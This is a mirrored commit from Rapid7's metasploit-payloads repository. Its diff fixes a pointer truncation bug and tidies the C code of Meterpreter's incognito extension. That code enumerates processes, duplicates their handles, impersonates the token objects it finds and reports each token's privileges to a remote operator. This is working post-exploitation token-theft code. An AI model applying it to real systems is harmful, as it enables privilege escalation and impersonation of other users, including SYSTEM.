mirror of
https://github.com/rapid7/metasploit-payloads
synced 2025-03-12 12:14:29 +01:00
Fix pointer truncation during process iteration
In similar vein to the migration issue, incognito was crashing when running under SYSTEM processes (such as lsass.exe). This was because of a pointer truncation problem when processes were being enumerated. There was also some other quirky logic going on, but nothing too damaging. I added some other simple code tidies while I was in there.
This commit is contained in:
parent
518611b2f6
commit
2c300df811
c/meterpreter/source/extensions/incognito
@ -37,59 +37,76 @@ DWORD request_incognito_list_tokens(Remote *remote, Packet *packet)
|
||||
BOOL bTokensAvailable = FALSE;
|
||||
TOKEN_ORDER token_order;
|
||||
TOKEN_PRIVS token_privs;
|
||||
char *delegation_tokens = calloc(sizeof(char), BUF_SIZE),
|
||||
char *delegation_tokens = calloc(sizeof(char), BUF_SIZE),
|
||||
*impersonation_tokens = calloc(sizeof(char), BUF_SIZE),
|
||||
temp[BUF_SIZE] = "";
|
||||
|
||||
|
||||
Packet *response = packet_create_response(packet);
|
||||
token_order = packet_get_tlv_value_uint(packet, TLV_TYPE_INCOGNITO_LIST_TOKENS_TOKEN_ORDER);
|
||||
|
||||
dprintf("[INCOGNITO] Enumerating tokens");
|
||||
// Enumerate tokens
|
||||
token_list = get_token_list(&num_tokens, &token_privs);
|
||||
|
||||
if (!token_list)
|
||||
{
|
||||
dprintf("[INCOGNITO] Enumerating tokens failed with %u (%x)", GetLastError(), GetLastError());
|
||||
packet_transmit_response(GetLastError(), remote, response);
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
dprintf("[INCOGNITO] Enumerating tokens succeeded, processing tokens");
|
||||
// Process all tokens to get determinue unique names and delegation abilities
|
||||
for (i=0;i<num_tokens;i++)
|
||||
if (token_list[i].token)
|
||||
for (i = 0; i < num_tokens; i++)
|
||||
{
|
||||
process_user_token(token_list[i].token, uniq_tokens, &num_unique_tokens, token_order);
|
||||
CloseHandle(token_list[i].token);
|
||||
if (token_list[i].token)
|
||||
{
|
||||
dprintf("[INCOGNITO] Processing Token %x %s", token_list[i].token, token_list[i].username);
|
||||
process_user_token(token_list[i].token, uniq_tokens, &num_unique_tokens, token_order);
|
||||
CloseHandle(token_list[i].token);
|
||||
dprintf("[INCOGNITO] Processed Token %x %s", token_list[i].token, token_list[i].username);
|
||||
}
|
||||
else
|
||||
{
|
||||
dprintf("[INCOGNITO] Skipping token %u", i);
|
||||
}
|
||||
}
|
||||
|
||||
// Sort by name and then display all delegation and impersonation tokens
|
||||
dprintf("[INCOGNITO] sorting tokens");
|
||||
qsort(uniq_tokens, num_unique_tokens, sizeof(unique_user_token), compare_token_names);
|
||||
|
||||
for (i=0;i<num_unique_tokens;i++)
|
||||
for (i = 0; i < num_unique_tokens; i++)
|
||||
if (uniq_tokens[i].delegation_available)
|
||||
{
|
||||
bTokensAvailable = TRUE;
|
||||
strncat(delegation_tokens, uniq_tokens[i].username, BUF_SIZE-strlen(delegation_tokens)-1);
|
||||
strncat(delegation_tokens, "\n", BUF_SIZE-strlen(delegation_tokens)-1);
|
||||
strncat(delegation_tokens, uniq_tokens[i].username, BUF_SIZE - strlen(delegation_tokens) - 1);
|
||||
strncat(delegation_tokens, "\n", BUF_SIZE - strlen(delegation_tokens) - 1);
|
||||
}
|
||||
|
||||
if (!bTokensAvailable)
|
||||
strncat(delegation_tokens, "No tokens available\n", BUF_SIZE-strlen(delegation_tokens)-1);
|
||||
{
|
||||
strncat(delegation_tokens, "No tokens available\n", BUF_SIZE - strlen(delegation_tokens) - 1);
|
||||
}
|
||||
|
||||
bTokensAvailable = FALSE;
|
||||
|
||||
for (i=0;i<num_unique_tokens;i++)
|
||||
if (!uniq_tokens[i].delegation_available && uniq_tokens[i].impersonation_available)
|
||||
for (i = 0; i < num_unique_tokens; i++)
|
||||
{
|
||||
bTokensAvailable = TRUE;
|
||||
strncat(impersonation_tokens, uniq_tokens[i].username, BUF_SIZE-strlen(impersonation_tokens)-1);
|
||||
strncat(impersonation_tokens, "\n", BUF_SIZE-strlen(impersonation_tokens)-1);
|
||||
if (!uniq_tokens[i].delegation_available && uniq_tokens[i].impersonation_available)
|
||||
{
|
||||
bTokensAvailable = TRUE;
|
||||
strncat(impersonation_tokens, uniq_tokens[i].username, BUF_SIZE - strlen(impersonation_tokens) - 1);
|
||||
strncat(impersonation_tokens, "\n", BUF_SIZE - strlen(impersonation_tokens) - 1);
|
||||
}
|
||||
}
|
||||
|
||||
if (!bTokensAvailable)
|
||||
strncat(impersonation_tokens, "No tokens available\n", BUF_SIZE-strlen(impersonation_tokens)-1);
|
||||
{
|
||||
strncat(impersonation_tokens, "No tokens available\n", BUF_SIZE - strlen(impersonation_tokens) - 1);
|
||||
}
|
||||
|
||||
|
||||
packet_add_tlv_string(response, TLV_TYPE_INCOGNITO_LIST_TOKENS_DELEGATION, delegation_tokens);
|
||||
packet_add_tlv_string(response, TLV_TYPE_INCOGNITO_LIST_TOKENS_IMPERSONATION, impersonation_tokens);
|
||||
packet_transmit_response(ERROR_SUCCESS, remote, response);
|
||||
|
@ -5,7 +5,6 @@
|
||||
|
||||
#define TLV_TYPE_EXTENSION_INCOGNITO 0
|
||||
|
||||
|
||||
#define TLV_TYPE_INCOGNITO_LIST_TOKENS_DELEGATION \
|
||||
MAKE_CUSTOM_TLV( \
|
||||
TLV_META_TYPE_STRING, \
|
||||
|
@ -1,31 +1,23 @@
|
||||
#define _CRT_SECURE_NO_DEPRECATE 1
|
||||
#include <stdio.h>
|
||||
#include <assert.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <aclapi.h>
|
||||
#include <accctrl.h>
|
||||
#include <psapi.h>
|
||||
#include <tlhelp32.h>
|
||||
#include <lm.h>
|
||||
#include <wchar.h>
|
||||
#include "../../common/common.h"
|
||||
#include "list_tokens.h"
|
||||
#include "token_info.h"
|
||||
#include "incognito.h"
|
||||
|
||||
|
||||
typedef LONG NTSTATUS;
|
||||
typedef VOID *POBJECT;
|
||||
|
||||
typedef enum _OBJECT_INFORMATION_CLASS{
|
||||
ObjectBasicInformation,
|
||||
ObjectNameInformation,
|
||||
ObjectTypeInformation,
|
||||
ObjectAllTypesInformation,
|
||||
ObjectHandleInformation
|
||||
typedef enum _OBJECT_INFORMATION_CLASS
|
||||
{
|
||||
ObjectBasicInformation,
|
||||
ObjectNameInformation,
|
||||
ObjectTypeInformation,
|
||||
ObjectAllTypesInformation,
|
||||
ObjectHandleInformation
|
||||
} OBJECT_INFORMATION_CLASS;
|
||||
|
||||
typedef struct _SYSTEM_HANDLE {
|
||||
typedef struct _SYSTEM_HANDLE
|
||||
{
|
||||
ULONG uIdProcess;
|
||||
UCHAR ObjectType;
|
||||
UCHAR Flags;
|
||||
@ -34,12 +26,14 @@ typedef struct _SYSTEM_HANDLE {
|
||||
ACCESS_MASK GrantedAccess;
|
||||
} SYSTEM_HANDLE, *PSYSTEM_HANDLE;
|
||||
|
||||
typedef struct _SYSTEM_HANDLE_INFORMATION {
|
||||
typedef struct _SYSTEM_HANDLE_INFORMATION
|
||||
{
|
||||
ULONG uCount;
|
||||
SYSTEM_HANDLE Handles[1];
|
||||
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;
|
||||
|
||||
typedef struct _SYSTEM_PROCESS_INFORMATION {
|
||||
typedef struct _SYSTEM_PROCESS_INFORMATION
|
||||
{
|
||||
ULONG NextEntryOffset;
|
||||
BYTE Reserved1[52];
|
||||
PVOID Reserved2[3];
|
||||
@ -53,7 +47,8 @@ typedef struct _SYSTEM_PROCESS_INFORMATION {
|
||||
LARGE_INTEGER Reserved6[6];
|
||||
} SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION;
|
||||
|
||||
typedef struct _UNICODE_STRING {
|
||||
typedef struct _UNICODE_STRING
|
||||
{
|
||||
USHORT Length;
|
||||
USHORT MaximumLength;
|
||||
PWSTR Buffer;
|
||||
@ -111,44 +106,55 @@ static int compare_token_names(const unique_user_token *a, const unique_user_tok
|
||||
|
||||
SavedToken *get_token_list(DWORD *num_tokens_enum, TOKEN_PRIVS *token_privs)
|
||||
{
|
||||
DWORD total=0, i, j, num_tokens=0, token_list_size = BUF_SIZE, dwSize = sizeof(SYSTEM_HANDLE_INFORMATION), dwError;
|
||||
DWORD total = 0, i, j, num_tokens = 0, token_list_size = BUF_SIZE, dwSize = sizeof(SYSTEM_HANDLE_INFORMATION), dwError;
|
||||
HANDLE process, hObject;
|
||||
PSYSTEM_PROCESS_INFORMATION pProcessInfo=NULL;
|
||||
PSYSTEM_PROCESS_INFORMATION original_pProcessInfo=NULL;
|
||||
PSYSTEM_PROCESS_INFORMATION pProcessInfo = NULL;
|
||||
PSYSTEM_PROCESS_INFORMATION original_pProcessInfo = NULL;
|
||||
NTSTATUS ntReturn;
|
||||
BOOL bMoreProcesses = TRUE;
|
||||
|
||||
|
||||
LPVOID TokenPrivilegesInfo[BUF_SIZE];
|
||||
DWORD returned_privileges_length, returned_name_length;
|
||||
char privilege_name[BUF_SIZE];
|
||||
HANDLE hObject2=NULL;
|
||||
HANDLE hObject2 = NULL;
|
||||
|
||||
SavedToken *token_list = (SavedToken*)calloc(token_list_size, sizeof(SavedToken));
|
||||
SavedToken *token_list = (SavedToken*)calloc(token_list_size, sizeof(SavedToken));
|
||||
*num_tokens_enum = 0;
|
||||
|
||||
dprintf("[INCOGNITO] Preparing for token enumeration");
|
||||
token_privs->SE_ASSIGNPRIMARYTOKEN_PRIVILEGE = FALSE;
|
||||
token_privs->SE_CREATE_TOKEN_PRIVILEGE = FALSE;
|
||||
token_privs->SE_TCB_PRIVILEGE = FALSE;
|
||||
token_privs->SE_TAKE_OWNERSHIP_PRIVILEGE = FALSE;
|
||||
token_privs->SE_TAKE_OWNERSHIP_PRIVILEGE = FALSE;
|
||||
token_privs->SE_BACKUP_PRIVILEGE = FALSE;
|
||||
token_privs->SE_RESTORE_PRIVILEGE = FALSE;
|
||||
token_privs->SE_DEBUG_PRIVILEGE = FALSE;
|
||||
token_privs->SE_IMPERSONATE_PRIVILEGE = FALSE;
|
||||
token_privs->SE_IMPERSONATE_PRIVILEGE = FALSE;
|
||||
token_privs->SE_RELABEL_PRIVILEGE = FALSE;
|
||||
token_privs->SE_LOAD_DRIVER_PRIVILEGE = FALSE;
|
||||
|
||||
// Enable debug privs if possible
|
||||
OpenProcessToken(GetCurrentProcess(), GENERIC_ALL/*MAXIMUM_ALLOWED*/, &hObject);
|
||||
dprintf("[INCOGNITO] Opening current process token");
|
||||
if (!OpenProcessToken(GetCurrentProcess(), GENERIC_ALL/*MAXIMUM_ALLOWED*/, &hObject))
|
||||
{
|
||||
dprintf("[INCOGNITO] Opening current process token failed with %u (%x)", GetLastError(), GetLastError());
|
||||
return NULL;
|
||||
}
|
||||
dprintf("[INCOGNITO] Process opened");
|
||||
has_impersonate_priv(hObject);
|
||||
|
||||
dprintf("[INCOGNITO] Grabbing function handles");
|
||||
NtQuerySystemInformation = (NTQUERYSYSTEMINFORMATION)GetProcAddress(GetModuleHandleA("NTDLL.DLL"), "NtQuerySystemInformation");
|
||||
NtQueryObject= (NTQUERYOBJECT)GetProcAddress(GetModuleHandleA("NTDLL.DLL"), "NtQueryObject");
|
||||
dwSize = 256*1000;
|
||||
|
||||
NtQueryObject = (NTQUERYOBJECT)GetProcAddress(GetModuleHandleA("NTDLL.DLL"), "NtQueryObject");
|
||||
dwSize = 256 * 1000;
|
||||
|
||||
pProcessInfo = (PSYSTEM_PROCESS_INFORMATION)malloc(dwSize);
|
||||
dprintf("[INCOGNITO] Getting system information");
|
||||
ntReturn = NtQuerySystemInformation(SystemProcessInformation, pProcessInfo, dwSize, &dwSize);
|
||||
|
||||
while (ntReturn == STATUS_INFO_LENGTH_MISMATCH) {
|
||||
|
||||
while (ntReturn == STATUS_INFO_LENGTH_MISMATCH)
|
||||
{
|
||||
dprintf("[INCOGNITO] Length mismatch, retrying ...");
|
||||
free(pProcessInfo);
|
||||
pProcessInfo = (PSYSTEM_PROCESS_INFORMATION)malloc(dwSize);
|
||||
ntReturn = NtQuerySystemInformation(SystemProcessInformation, pProcessInfo, dwSize, &dwSize);
|
||||
@ -156,93 +162,108 @@ SavedToken *get_token_list(DWORD *num_tokens_enum, TOKEN_PRIVS *token_privs)
|
||||
|
||||
original_pProcessInfo = pProcessInfo;
|
||||
|
||||
if(ntReturn == STATUS_SUCCESS)
|
||||
if (ntReturn == STATUS_SUCCESS)
|
||||
{
|
||||
while (bMoreProcesses)
|
||||
{
|
||||
dprintf("[INCOGNITO] Looking good, continuing processing...");
|
||||
while (bMoreProcesses)
|
||||
{
|
||||
dprintf("[INCOGNITO] NextEntryoffset: %u", pProcessInfo->NextEntryOffset);
|
||||
if (pProcessInfo->NextEntryOffset == 0)
|
||||
{
|
||||
bMoreProcesses = FALSE;
|
||||
}
|
||||
|
||||
// if has impersonate privs, only needs read access
|
||||
process = OpenProcess(MAXIMUM_ALLOWED,FALSE, (DWORD)pProcessInfo->UniqueProcessId);
|
||||
|
||||
for(i = 0; i < pProcessInfo->HandleCount; i++)
|
||||
{
|
||||
if(process != INVALID_HANDLE_VALUE)
|
||||
dprintf("[INCOGNITO] Looking good, continuing processing...");
|
||||
process = OpenProcess(MAXIMUM_ALLOWED, FALSE, (DWORD)pProcessInfo->UniqueProcessId);
|
||||
|
||||
if (process == NULL)
|
||||
{
|
||||
dprintf("[INCOGNITO] Failed to open process %u (%x)", (DWORD)pProcessInfo->UniqueProcessId, (DWORD)pProcessInfo->UniqueProcessId);
|
||||
}
|
||||
else
|
||||
{
|
||||
dprintf("[INCOGNITO] Iterating %u processes for %u (%x)", pProcessInfo->HandleCount, (DWORD)pProcessInfo->UniqueProcessId, (DWORD)pProcessInfo->UniqueProcessId);
|
||||
for (i = 0; i < pProcessInfo->HandleCount; i++)
|
||||
{
|
||||
hObject = NULL;
|
||||
|
||||
if(DuplicateHandle(process, (HANDLE)((i+1)*4),
|
||||
GetCurrentProcess(), &hObject, MAXIMUM_ALLOWED, FALSE, 0x02) != FALSE)
|
||||
|
||||
if (DuplicateHandle(process, (HANDLE)((i + 1) * 4),
|
||||
GetCurrentProcess(), &hObject, MAXIMUM_ALLOWED, FALSE, 0x02) != FALSE)
|
||||
{
|
||||
LPWSTR lpwsType=NULL;
|
||||
lpwsType = GetObjectInfo(hObject, ObjectTypeInformation);
|
||||
if ((lpwsType!=NULL) && !wcscmp(lpwsType, L"Token") && ImpersonateLoggedOnUser(hObject) != 0)
|
||||
LPWSTR lpwsType = NULL;
|
||||
lpwsType = GetObjectInfo(hObject, ObjectTypeInformation);
|
||||
if ((lpwsType != NULL) && !wcscmp(lpwsType, L"Token") && ImpersonateLoggedOnUser(hObject) != 0)
|
||||
{
|
||||
// ImpersonateLoggedOnUser() always returns true. Need to check whether impersonated token kept impersonate status - failure degrades to identification
|
||||
// also revert to self after getting new token context
|
||||
// only process if it was impersonation or higher
|
||||
OpenThreadToken(GetCurrentThread(), MAXIMUM_ALLOWED, TRUE, &hObject2);
|
||||
RevertToSelf();
|
||||
if (is_impersonation_token(hObject2) )
|
||||
if (is_impersonation_token(hObject2))
|
||||
{
|
||||
// Reallocate space if necessary
|
||||
if(*num_tokens_enum >= token_list_size)
|
||||
if (*num_tokens_enum >= token_list_size)
|
||||
{
|
||||
token_list_size *= 2;
|
||||
token_list = (SavedToken*)realloc(token_list, token_list_size*sizeof(SavedToken));
|
||||
if (!token_list)
|
||||
{
|
||||
goto cleanup;
|
||||
}
|
||||
}
|
||||
|
||||
token_list[*num_tokens_enum].token = hObject;
|
||||
get_domain_username_from_token(hObject, token_list[*num_tokens_enum].username);
|
||||
|
||||
|
||||
if (GetTokenInformation(hObject, TokenPrivileges, TokenPrivilegesInfo, BUF_SIZE, &returned_privileges_length))
|
||||
{
|
||||
if (((TOKEN_PRIVILEGES*)TokenPrivilegesInfo)->PrivilegeCount > 0)
|
||||
for (j=0;j<((TOKEN_PRIVILEGES*)TokenPrivilegesInfo)->PrivilegeCount;j++)
|
||||
{
|
||||
returned_name_length = BUF_SIZE;
|
||||
LookupPrivilegeNameA(NULL, &(((TOKEN_PRIVILEGES*)TokenPrivilegesInfo)->Privileges[j].Luid), privilege_name, &returned_name_length);
|
||||
if (strcmp(privilege_name, "SeAssignPrimaryTokenPrivilege") == 0)
|
||||
for (j = 0; j < ((TOKEN_PRIVILEGES*)TokenPrivilegesInfo)->PrivilegeCount; j++)
|
||||
{
|
||||
token_privs->SE_ASSIGNPRIMARYTOKEN_PRIVILEGE = TRUE;
|
||||
}
|
||||
else if (strcmp(privilege_name, "SeCreateTokenPrivilege") == 0)
|
||||
{
|
||||
token_privs->SE_CREATE_TOKEN_PRIVILEGE = TRUE;
|
||||
}
|
||||
else if (strcmp(privilege_name, "SeTcbPrivilege") == 0)
|
||||
{
|
||||
token_privs->SE_TCB_PRIVILEGE = TRUE;
|
||||
}
|
||||
else if (strcmp(privilege_name, "SeTakeOwnershipPrivilege") == 0)
|
||||
{
|
||||
token_privs->SE_TAKE_OWNERSHIP_PRIVILEGE = TRUE;
|
||||
}
|
||||
else if (strcmp(privilege_name, "SeBackupPrivilege") == 0)
|
||||
{
|
||||
token_privs->SE_BACKUP_PRIVILEGE = TRUE;
|
||||
}
|
||||
else if (strcmp(privilege_name, "SeRestorePrivilege") == 0)
|
||||
{
|
||||
token_privs->SE_RESTORE_PRIVILEGE = TRUE;
|
||||
}
|
||||
else if (strcmp(privilege_name, "SeDebugPrivilege") == 0)
|
||||
{
|
||||
token_privs->SE_DEBUG_PRIVILEGE = TRUE;
|
||||
}
|
||||
else if (strcmp(privilege_name, "SeImpersonatePrivilege") == 0)
|
||||
{
|
||||
token_privs->SE_IMPERSONATE_PRIVILEGE = TRUE;
|
||||
}
|
||||
else if (strcmp(privilege_name, "SeRelabelPrivilege") == 0)
|
||||
{
|
||||
token_privs->SE_RELABEL_PRIVILEGE = TRUE;
|
||||
}
|
||||
else if (strcmp(privilege_name, "SeLoadDriverPrivilege") == 0)
|
||||
{
|
||||
token_privs->SE_LOAD_DRIVER_PRIVILEGE = TRUE;
|
||||
returned_name_length = BUF_SIZE;
|
||||
LookupPrivilegeNameA(NULL, &(((TOKEN_PRIVILEGES*)TokenPrivilegesInfo)->Privileges[j].Luid), privilege_name, &returned_name_length);
|
||||
if (strcmp(privilege_name, "SeAssignPrimaryTokenPrivilege") == 0)
|
||||
{
|
||||
token_privs->SE_ASSIGNPRIMARYTOKEN_PRIVILEGE = TRUE;
|
||||
}
|
||||
else if (strcmp(privilege_name, "SeCreateTokenPrivilege") == 0)
|
||||
{
|
||||
token_privs->SE_CREATE_TOKEN_PRIVILEGE = TRUE;
|
||||
}
|
||||
else if (strcmp(privilege_name, "SeTcbPrivilege") == 0)
|
||||
{
|
||||
token_privs->SE_TCB_PRIVILEGE = TRUE;
|
||||
}
|
||||
else if (strcmp(privilege_name, "SeTakeOwnershipPrivilege") == 0)
|
||||
{
|
||||
token_privs->SE_TAKE_OWNERSHIP_PRIVILEGE = TRUE;
|
||||
}
|
||||
else if (strcmp(privilege_name, "SeBackupPrivilege") == 0)
|
||||
{
|
||||
token_privs->SE_BACKUP_PRIVILEGE = TRUE;
|
||||
}
|
||||
else if (strcmp(privilege_name, "SeRestorePrivilege") == 0)
|
||||
{
|
||||
token_privs->SE_RESTORE_PRIVILEGE = TRUE;
|
||||
}
|
||||
else if (strcmp(privilege_name, "SeDebugPrivilege") == 0)
|
||||
{
|
||||
token_privs->SE_DEBUG_PRIVILEGE = TRUE;
|
||||
}
|
||||
else if (strcmp(privilege_name, "SeImpersonatePrivilege") == 0)
|
||||
{
|
||||
token_privs->SE_IMPERSONATE_PRIVILEGE = TRUE;
|
||||
}
|
||||
else if (strcmp(privilege_name, "SeRelabelPrivilege") == 0)
|
||||
{
|
||||
token_privs->SE_RELABEL_PRIVILEGE = TRUE;
|
||||
}
|
||||
else if (strcmp(privilege_name, "SeLoadDriverPrivilege") == 0)
|
||||
{
|
||||
token_privs->SE_LOAD_DRIVER_PRIVILEGE = TRUE;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@ -252,102 +273,111 @@ SavedToken *get_token_list(DWORD *num_tokens_enum, TOKEN_PRIVS *token_privs)
|
||||
CloseHandle(hObject2);
|
||||
}
|
||||
else
|
||||
CloseHandle(hObject);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Also process primary
|
||||
// if has impersonate privs, only needs read access
|
||||
process = OpenProcess(MAXIMUM_ALLOWED, FALSE, (DWORD)pProcessInfo->UniqueProcessId);
|
||||
dwError = OpenProcessToken(process, MAXIMUM_ALLOWED, &hObject);
|
||||
|
||||
if (dwError !=0 && ImpersonateLoggedOnUser(hObject) != 0)
|
||||
{
|
||||
// ImpersonateLoggedOnUser() always returns true. Need to check whether impersonated token kept impersonate status - failure degrades to identification
|
||||
// also revert to self after getting new token context
|
||||
// only process if it was impersonation or higher
|
||||
OpenThreadToken(GetCurrentThread(), MAXIMUM_ALLOWED, TRUE, &hObject2);
|
||||
RevertToSelf();
|
||||
if (is_impersonation_token(hObject2))
|
||||
{
|
||||
token_list[*num_tokens_enum].token = hObject;
|
||||
get_domain_username_from_token(hObject, token_list[*num_tokens_enum].username);
|
||||
(*num_tokens_enum)++;
|
||||
|
||||
if (GetTokenInformation(hObject, TokenPrivileges, TokenPrivilegesInfo, BUF_SIZE, &returned_privileges_length))
|
||||
{
|
||||
for (i=0;i<((TOKEN_PRIVILEGES*)TokenPrivilegesInfo)->PrivilegeCount;i++)
|
||||
{
|
||||
returned_name_length = BUF_SIZE;
|
||||
LookupPrivilegeNameA(NULL, &(((TOKEN_PRIVILEGES*)TokenPrivilegesInfo)->Privileges[i].Luid), privilege_name, &returned_name_length);
|
||||
if (strcmp(privilege_name, "SeAssignPrimaryTokenPrivilege") == 0)
|
||||
{
|
||||
token_privs->SE_ASSIGNPRIMARYTOKEN_PRIVILEGE = TRUE;
|
||||
}
|
||||
else if (strcmp(privilege_name, "SeCreateTokenPrivilege") == 0)
|
||||
{
|
||||
token_privs->SE_CREATE_TOKEN_PRIVILEGE = TRUE;
|
||||
}
|
||||
else if (strcmp(privilege_name, "SeTcbPrivilege") == 0)
|
||||
{
|
||||
token_privs->SE_TCB_PRIVILEGE = TRUE;
|
||||
}
|
||||
else if (strcmp(privilege_name, "SeTakeOwnershipPrivilege") == 0)
|
||||
{
|
||||
token_privs->SE_TAKE_OWNERSHIP_PRIVILEGE = TRUE;
|
||||
}
|
||||
else if (strcmp(privilege_name, "SeBackupPrivilege") == 0)
|
||||
{
|
||||
token_privs->SE_BACKUP_PRIVILEGE = TRUE;
|
||||
}
|
||||
else if (strcmp(privilege_name, "SeRestorePrivilege") == 0)
|
||||
{
|
||||
token_privs->SE_RESTORE_PRIVILEGE = TRUE;
|
||||
}
|
||||
else if (strcmp(privilege_name, "SeDebugPrivilege") == 0)
|
||||
{
|
||||
token_privs->SE_DEBUG_PRIVILEGE = TRUE;
|
||||
}
|
||||
else if (strcmp(privilege_name, "SeImpersonatePrivilege") == 0)
|
||||
{
|
||||
token_privs->SE_IMPERSONATE_PRIVILEGE = TRUE;
|
||||
}
|
||||
else if (strcmp(privilege_name, "SeRelabelPrivilege") == 0)
|
||||
{
|
||||
token_privs->SE_RELABEL_PRIVILEGE = TRUE;
|
||||
}
|
||||
else if (strcmp(privilege_name, "SeLoadDriverPrivilege") == 0)
|
||||
{
|
||||
token_privs->SE_LOAD_DRIVER_PRIVILEGE = TRUE;
|
||||
}
|
||||
CloseHandle(hObject);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
CloseHandle(hObject2);
|
||||
// Also process primary
|
||||
// if has impersonate privs, only needs read access
|
||||
if (OpenProcessToken(process, MAXIMUM_ALLOWED, &hObject) && ImpersonateLoggedOnUser(hObject))
|
||||
{
|
||||
// ImpersonateLoggedOnUser() always returns true. Need to check whether impersonated token kept impersonate status - failure degrades to identification
|
||||
// also revert to self after getting new token context
|
||||
// only process if it was impersonation or higher
|
||||
if (OpenThreadToken(GetCurrentThread(), MAXIMUM_ALLOWED, TRUE, &hObject2))
|
||||
{
|
||||
RevertToSelf();
|
||||
if (is_impersonation_token(hObject2))
|
||||
{
|
||||
token_list[*num_tokens_enum].token = hObject;
|
||||
get_domain_username_from_token(hObject, token_list[*num_tokens_enum].username);
|
||||
(*num_tokens_enum)++;
|
||||
|
||||
if (GetTokenInformation(hObject, TokenPrivileges, TokenPrivilegesInfo, BUF_SIZE, &returned_privileges_length))
|
||||
{
|
||||
for (i = 0; i < ((TOKEN_PRIVILEGES*)TokenPrivilegesInfo)->PrivilegeCount; i++)
|
||||
{
|
||||
returned_name_length = BUF_SIZE;
|
||||
LookupPrivilegeNameA(NULL, &(((TOKEN_PRIVILEGES*)TokenPrivilegesInfo)->Privileges[i].Luid), privilege_name, &returned_name_length);
|
||||
if (strcmp(privilege_name, "SeAssignPrimaryTokenPrivilege") == 0)
|
||||
{
|
||||
token_privs->SE_ASSIGNPRIMARYTOKEN_PRIVILEGE = TRUE;
|
||||
}
|
||||
else if (strcmp(privilege_name, "SeCreateTokenPrivilege") == 0)
|
||||
{
|
||||
token_privs->SE_CREATE_TOKEN_PRIVILEGE = TRUE;
|
||||
}
|
||||
else if (strcmp(privilege_name, "SeTcbPrivilege") == 0)
|
||||
{
|
||||
token_privs->SE_TCB_PRIVILEGE = TRUE;
|
||||
}
|
||||
else if (strcmp(privilege_name, "SeTakeOwnershipPrivilege") == 0)
|
||||
{
|
||||
token_privs->SE_TAKE_OWNERSHIP_PRIVILEGE = TRUE;
|
||||
}
|
||||
else if (strcmp(privilege_name, "SeBackupPrivilege") == 0)
|
||||
{
|
||||
token_privs->SE_BACKUP_PRIVILEGE = TRUE;
|
||||
}
|
||||
else if (strcmp(privilege_name, "SeRestorePrivilege") == 0)
|
||||
{
|
||||
token_privs->SE_RESTORE_PRIVILEGE = TRUE;
|
||||
}
|
||||
else if (strcmp(privilege_name, "SeDebugPrivilege") == 0)
|
||||
{
|
||||
token_privs->SE_DEBUG_PRIVILEGE = TRUE;
|
||||
}
|
||||
else if (strcmp(privilege_name, "SeImpersonatePrivilege") == 0)
|
||||
{
|
||||
token_privs->SE_IMPERSONATE_PRIVILEGE = TRUE;
|
||||
}
|
||||
else if (strcmp(privilege_name, "SeRelabelPrivilege") == 0)
|
||||
{
|
||||
token_privs->SE_RELABEL_PRIVILEGE = TRUE;
|
||||
}
|
||||
else if (strcmp(privilege_name, "SeLoadDriverPrivilege") == 0)
|
||||
{
|
||||
token_privs->SE_LOAD_DRIVER_PRIVILEGE = TRUE;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
CloseHandle(hObject2);
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
dprintf("[INCOGNITO] Failed next level impersonation with %u (%x)", GetLastError(), GetLastError());
|
||||
}
|
||||
}
|
||||
|
||||
pProcessInfo = (PSYSTEM_PROCESS_INFORMATION)((ULONG)pProcessInfo + (ULONG)pProcessInfo->NextEntryOffset);
|
||||
}
|
||||
dprintf("[INCOGNITO] Moving to next process from %p", pProcessInfo);
|
||||
pProcessInfo = (PSYSTEM_PROCESS_INFORMATION)((ULONG_PTR)pProcessInfo + (ULONG_PTR)pProcessInfo->NextEntryOffset);
|
||||
dprintf("[INCOGNITO] Process now %p", pProcessInfo);
|
||||
}
|
||||
}
|
||||
|
||||
cleanup:
|
||||
free(original_pProcessInfo);
|
||||
|
||||
dprintf("[INCOGNITO] Done with getting token list");
|
||||
return token_list;
|
||||
|
||||
}
|
||||
|
||||
void process_user_token(HANDLE token, unique_user_token *uniq_tokens, DWORD *num_tokens, TOKEN_ORDER token_order)
|
||||
{
|
||||
DWORD i, j, num_groups=0;
|
||||
DWORD i, j, num_groups = 0;
|
||||
char *full_name, **group_name_array = NULL;
|
||||
BOOL user_exists = FALSE;
|
||||
|
||||
// If token is NULL then return
|
||||
if (!token)
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
// Get token user or groups
|
||||
if (token_order == BY_USER)
|
||||
@ -355,25 +385,33 @@ void process_user_token(HANDLE token, unique_user_token *uniq_tokens, DWORD *num
|
||||
full_name = calloc(BUF_SIZE, sizeof(char));
|
||||
num_groups = 1;
|
||||
if (!get_domain_username_from_token(token, full_name))
|
||||
{
|
||||
goto cleanup;
|
||||
}
|
||||
}
|
||||
else if (token_order == BY_GROUP)
|
||||
if (!get_domain_groups_from_token(token, &group_name_array, &num_groups))
|
||||
goto cleanup;
|
||||
|
||||
for (i=0;i<num_groups;i++)
|
||||
else if (token_order == BY_GROUP
|
||||
&& !get_domain_groups_from_token(token, &group_name_array, &num_groups))
|
||||
{
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
for (i = 0; i < num_groups; i++)
|
||||
{
|
||||
if (token_order == BY_GROUP)
|
||||
{
|
||||
full_name = (char*)group_name_array[i];
|
||||
}
|
||||
|
||||
// Check
|
||||
if (!_stricmp("None", strchr(full_name, '\\') + 1) || !_stricmp("Everyone", strchr(full_name, '\\') + 1)
|
||||
|| !_stricmp("LOCAL", strchr(full_name, '\\') + 1) || !_stricmp("NULL SID", strchr(full_name, '\\') + 1)
|
||||
|| !_stricmp("CONSOLE LOGON", strchr(full_name, '\\') + 1))
|
||||
{
|
||||
continue;
|
||||
}
|
||||
|
||||
// Check to see if username has been seen before
|
||||
for (j=0;j<*num_tokens;j++)
|
||||
for (j = 0; j < *num_tokens; j++)
|
||||
{
|
||||
// If found then increment the number and set delegation flag if appropriate
|
||||
if (!_stricmp(uniq_tokens[j].username, full_name))
|
||||
